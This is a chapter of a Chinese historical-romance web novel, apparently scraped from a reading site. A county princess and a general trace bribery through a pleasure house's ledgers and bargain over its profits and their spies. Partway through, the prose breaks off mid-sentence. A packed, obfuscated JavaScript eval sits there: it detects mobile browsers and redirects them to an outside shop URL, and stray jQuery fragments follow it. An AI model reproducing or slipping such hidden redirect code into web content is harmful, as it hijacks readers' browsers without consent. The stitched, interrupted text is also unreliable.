79.得不偿失

作品:《淮阴县主·邯郸道

    桓清与微微睁大双眼,只见萧迦叶起身,从书架上再取出两卷账本,一卷递给桓清与,自己则翻开了另一卷。


    桓清与见是花萼楼往年采购的账本,随即快速翻阅。


    窗外风声呼啸,萧迦叶将手上的账本推向她眼前,“你看看这个。”


    账本上记录着关于花萼楼歌舞乐妓的名录,每年新进数十上百人,但赎金的进项却不足百金,十分异常。


    桓清与凝眸片刻,轻声说道:“花萼楼的乐妓以姿色才艺闻名,东海王每年都将数十人送给了朝中官员。”她将方才自己看过的账本推给萧迦叶,他扫过桓清与翻到的那一页账目,接着她的话说道:“其中,前户部尚书房崇和现任工部尚书齐瞻收受的贿赂最多。”


    桓清与点点头,“采购的账本上无论金银瓷器,还是奇花异草,木材铜铁,所用都是官字号的来路,价格还低于官方售价。这些货品交易,工部和户部理应知情。”但如果东海王和尚书省两个油水最多的部门交情匪浅。可想而知,借助这两个部门的手,他还能染指更多人的钱袋子。


    “所以,他的死并非偶然。自前朝起,朝政中心逐渐转移至尚书省六部,东海王涉足六部之事,触及了门阀的底线?”


    “不错。而东海王聚敛的财富、权力和人脉,加之他皇室宗亲的身份,都对世家们构成了威胁。”


    翦除宗室势力,看上去像是士族门阀的作为。但东海王和陛下一向不甚亲密,他又怎么触犯了世家的利益?桓清与起身,走到窗边,看夜色深沉,然后转身道:“是谁下的手?”


    萧迦叶摇摇头,“背后的关联,我还在查。”


    桓清与眼眸半垂,再抬眼看向萧迦叶。他如有预感,道:“想问我怎么得到花萼楼的?”


    “是那日逸园午宴上,你送他的礼?”


    “不错。那是我从边疆偶然所得的一件玉器,刚好投其所好。”萧迦叶看窗外凉风四起,有零星的雨丝飘进来,起身走到屏风内取了一件薄毯递给桓清与,“披上吧,别着了凉。”


    春夜骤雨,身上的薄衣不耐寒,桓清与未料他如此周到,看到薄毯,又想起方才那杯温水,这个月的月信快到了,难道他连这些事都记得?


    桓清与心中思绪纷繁,面上却淡然若素,不想在如此细节上纠缠。她依言接过薄毯,轻声道了句谢,默默将棉质的薄毯披在身上,仰起脸问道:“将军在做这桩交易前,已经知道他大限将至了?”


    “如果我说是,县主会如何看我?”


    桓清与轻轻一笑,“我会想,将军的确是一个出色的盟友。”


    她微微转身,面向萧迦叶,“咱们来说说分账如何?昨晚将军提及转让花萼楼,我没有当场应承下来,实在是这份礼太重了,桓家受不起。前次是我们初步合作,将军有自己的谋划和行事方法,也是情理之中。不如,咱们在商言商,花萼楼经营权归桓家,使用权两家共享,每年收益咱们四六分,你看如何?”


    “县主不觉得对萧某太心慈手软?”


    桓清与轻轻摆首,“就当我谢将军手下留情好了。这世上利用女子感情的男人数不胜数,但将军对桓清与称得上坦坦荡荡。不论是碍于哥哥的情面还是其他,这份恩情,我都收下了。”窗边有些冷,她回身走到案台,拿起小火炉上的茶壶给自己倒了杯水,双手握着茶杯取暖。


    她好奇萧迦叶现在是何种神情,却又不敢去看,毕竟无论怎样也和她无关了。就当最后一次提及那段无人问津的恋慕,让它光明正大地收场。


    萧迦叶在窗前,笑得苦涩。


    不过一瞬,他转身对桓清与淡笑着说道:“或许是县主太过聪慧,萧某怕骗不过,也怕得不偿失。”


    桓清与未料他竟然接着那个话头如此说,忍不住笑了起来,摇摇头,继续谈分账一事,“那之后花萼楼就由缦阁的人接手,每年利润分成我四你六,如何?”


    “好。”萧迦叶也走回茶台坐下,说道:“还有一事,或许你已知晓,俞樾是我的人,三年前他改换身份被萧家派去缦阁。新政之初局势多变,为求稳妥,门阀之间都安插了不少眼线,请见谅。”


    桓清与平静地听他说完,捧着手中的碧玉杯,喝了一口温热的水,才开口道:“他是玄字一号暗卫。”


    “不错。我希望你放了他,条件你来提。”


    “可以。”桓清与一口答应,接着说道:“作为交换,我要予夏入桓家暗卫,为期三年。”


    “没问题。”萧迦叶对于她想要予夏丝毫不惊讶,今早见过堰城的暗卫,她恐怕已动了改革桓家暗卫体系的念头,而予夏会是一个好帮手。


    “好。明日我会派荀总管会前来和萧尘交接。”桓清与放下茶杯,解开身上的薄毯,就差一句告辞了。


    “萧某以为县主今日会找我商议和亲之事?”


    桓清与手上动作一滞。


    “难道你想用方才那位?”萧迦叶神色冷淡,连管信的名字都不想提。


    桓清与立马摆摆手,道:“那位美人是来把我推入火坑的,这一点在下还是看得出来。今日午后几位大臣在内朝大吵了一顿,气得陛下差点晕倒,太医说得休养个几天。这是舅舅给我争取来的时间,只要在两三天内想到破局的法子,就还来得及。今日叨扰将军许久,桓清与先告辞。”


    自今晨出堰城以来,她就在想怎么和萧迦叶光明正大的谈判一场,回城后找荀白查账,找碧芜打听萧家暗卫的情报,甚至约潋娘喝茶得到她的支持,了却一切后顾之忧,才最后定了和萧迦叶约谈一事。


    至于和亲那件事,她尚无余力应对......聊到现在,她预感自己快弹尽粮绝了,最好马上离开。


    见她迫不及待要走的样子,萧迦叶气也不是笑也不是,看了眼窗外的瓢泼大雨,只道:“县主慢走,萧某就不送了。”


    桓清与心里松了口气,匆匆行了一礼,转身离


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17078268|186752||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    去。刚走出雅间,就见隔壁一扇门缓缓推开,桓俭一身风雅,立在门边。


    桓清与定睛细看了一眼,快步走过去,“哥哥你怎么在这里?”


    “桓县主不也在么?”桓俭淡笑着将手上的书卷收到衣袖中,优哉游哉,与她一同走出花萼楼。


    桓府马车已停在门口,桓俭撑开伞为她挡雨,待她进了马车,自己才跟着坐进去。


    此时花萼楼内,依旧笑语喧哗。


    崔菀一身素裙,头戴帷帽,款款走入萧迦叶所在的雅间。


    马车中央的案台上点着一盏油灯,随着车轮滚动,摇摇晃晃的火焰穿过琉璃罩映在壁厢上,仿若暗云涌动。


    马车外雷声轰鸣,风雨交加。桓俭褪下了沾湿的外袍,跽坐案前,给桓清与倒了杯温水,“冷么?”


    桓清与摇摇头,接过茶杯握在手心,轻声问道:“哥哥你是特意等我的?”


    “隽晚上来花萼楼听曲,我多留了一会儿,好接你一道回去。”桓俭依旧从箱笼中取出一件披帛给桓清与披上,一边淡笑着说道。


    冷雨敲打在车厢木板上,雨声急促零乱。还好有掌心的温热和肩上的庇护,安抚了桓清与原本不宁的心绪。


    两人一时之间不知该说些什么,桓清与不想在此刻暴露自己的脆弱,让他担心;桓俭也不愿再催促她往前走。两人沉默了一会儿,桓俭忽然问道:“近来发生了太多事,清与会害怕吗?”


    桓清与惨淡一笑,目光落在琉璃盏上,低声道:“当初拉曾良下马,我就应该想到有今日......只是真正面对时,才知代价这么重。”如果不是为了嫁祸于她,萧轻音不会死,她应该风风光光嫁去大齐,路虽坎坷,但那是她的未来,尚可一搏,而不是无声无息地沉入湖底。


    想到这里,桓清与立即将杯中水一饮而尽,止住眼中的泪光,强自收整了心神,才继续说道:“我没事。哥哥你不用担心,一切才刚刚开始,桓清与不会被吓倒的。”


    桓俭看着她,心知其实自己什么都不用做,她也会好好地重整旗鼓,他只需在这里就好。“我已替你向陛下请旨,派府里的总管去王府协理丧事,以免萧县君被宗正苛待。”以往普通宗室的葬礼往往会被宗正官员捞油水,况且萧轻音幼年丧父,前几年丧母,王府宅中仅剩她一人,如今已无人主持局面。


    听完桓俭的话,桓清与才陡然想起自年初东海王暴毙,安宁郡主与许家定亲,到如今萧轻音殒命,萧氏宗室已零落殆尽,仅存的几人也无不依附于世家羽翼下。


    “多谢哥哥。”她知道桓俭此举是为了让她安心,忽而想到什么,又接着问道:“大理寺可去查过了?”


    桓俭知她所想,只道:“许大人去过,未发现什么疑点,同样以意外落水结案。”


    马车在桓府门口停下,雨声渐小。桓清与下车前对桓俭说道:“哥哥放心,眼下的麻烦我有把握解决,明日晚些时候再去使馆见你。”